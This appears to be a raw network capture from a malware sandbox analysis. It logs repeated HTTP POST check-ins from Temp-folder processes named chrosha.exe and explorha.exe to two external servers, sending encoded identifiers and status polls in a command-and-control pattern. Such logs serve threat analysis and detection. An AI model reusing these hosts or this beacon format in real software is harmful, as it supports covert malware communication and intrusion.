Apr 19, 2024 03:32:58.308418989 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:58.561166048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.5	50499	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:58.645417929 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:58.896071911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.5	50500	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:58.909220934 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:59.148525953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.5	50501	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:59.255131960 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:59.499320030 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.5	50502	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:59.399334908 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:59.650782108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.5	50503	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:59.748403072 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:59.998964071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.5	50504	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:00.011800051 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:00.262751102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.5	50505	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:00.350105047 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:00.594484091 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.5	50506	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:00.521608114 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:00.780194044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.5	50507	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:00.843166113 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:01.092461109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.5	50508	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:01.135251045 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:01.383760929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.5	50509	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:01.457005024 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:01.700339079 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.5	50510	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:01.638818979 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:01.894475937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.5	50511	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:01.943331957 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:02.188191891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.5	50512	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:02.255332947 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:02.498941898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.5	50513	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:02.550889015 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:02.793066025 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.5	50514	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:02.747262001 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:02.996404886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.5	50515	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:03.041003942 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:03.291348934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.5	50516	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:03.355731010 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:03.603471994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.5	50517	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:03.650367975 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:03.898024082 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.5	50518	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:03.852574110 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:04.100383043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.5	50519	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:04.153135061 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:04.407479048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.5	50520	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:04.479057074 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
